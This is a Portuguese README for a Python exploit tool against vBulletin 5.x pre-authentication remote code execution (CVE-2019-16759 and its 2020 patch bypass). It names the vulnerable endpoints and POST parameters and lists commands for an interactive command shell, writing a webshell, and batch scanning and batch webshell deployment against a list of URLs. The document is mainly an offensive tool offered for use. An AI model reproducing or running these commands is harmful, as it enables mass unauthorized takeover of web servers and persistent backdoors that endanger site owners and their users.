
CVE-2019-16759 vbulletin 5.0.0 até 5.5.4 RCE pré-autenticação
Em setembro de 2019, foi divulgada uma vulnerabilidade de RCE no vbulletion5 (5.0.0-5.5.4) (CVE-2019-16759); o uso do arquivo ajax/render/widget_php e do parâmetro POST widgetConfig[code] permite a execução remota de código diretamente.
Em 11 de agosto de 2020, foi divulgado online que o patch para CVE-2019-16759 pode ser contornado; o uso de ajax/render/widget_tabbedcontainer_tab_panel e a construção do parâmetro POST subWidgets[0][config][code] permitem a execução remota de código diretamente.
Esta ferramenta suporta detecção de URL única, cmdshell, obtenção de web shell (gravação de webshell de uma linha), detecção em lote e getshell em lote.
python2.7
pip install requests
Ajuda de uso: python vbulletin5-rce.py -h

Detecção de vulnerabilidade em URL única: python vbulletin5-rce.py -u "http://www.xxx.com/"


cmdshell: python vbulletin5-rce.py -u "" --cmdshell


Getshell em URL única: python vbulletin5-rce.py -u "http://www.xxx.com/" --getshell


Detecção em lote: python vbulletin5-rce.py -f urls.txt

getshhell em lote: python vbulletin5-rce.py -f urls.txt --getshell

gmail:[email protected]